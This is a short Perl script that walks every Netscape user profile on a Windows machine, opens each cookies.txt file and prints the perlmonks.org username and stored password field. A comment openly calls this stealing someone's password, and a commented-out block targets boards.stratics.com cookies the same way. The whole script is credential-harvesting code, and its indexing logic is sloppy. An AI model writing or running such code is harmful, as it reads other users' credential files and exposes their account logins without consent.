use strict;

my @cookies;
my @line;
my $user;

chdir "c:/Program Files/Netscape/Users/";
my @users = `dir /b`;

foreach $user (@users) {
chomp($user);
print "Displaying cookie passwords for $user.\n\n";
open(COOKIE, "<c:/Program Files/Netscape/Users/$user/cookies.txt");
push (@cookies, <COOKIE>);
shift(@cookies);
shift(@cookies);
shift(@cookies);
shift(@cookies);

    foreach (@cookies) {
    @line = split(/\s+/,$_);

# list of websites that have given cookies
#    print "The website is @line[0].\n";

# boards.stratics.com
    #    if (@line[$_] =~ m/boards.stratics.com/) {
    #    my @stratics = (@line[5], @line[6]);
    #    print "boards.stratics.com\n";
    #    print "@line[5]\t";
    #    print "@line[6]\n";
    #    }

# steal someone's perlmonks password from there Netscape cookie file
# they may be a maximum of 10 characters.  The password is 
# still unusable, because it is encrypted.
    
        if (@line[$_] =~ m/perlmonks.org/) {
        print "@line[0]\n";
        my @perlmonks = split(/\%/, @line[6]);
        print "username: @perlmonks[0]\n";
        print "password: @perlmonks[1]\n";
        }

    }
}

close(COOKIE);

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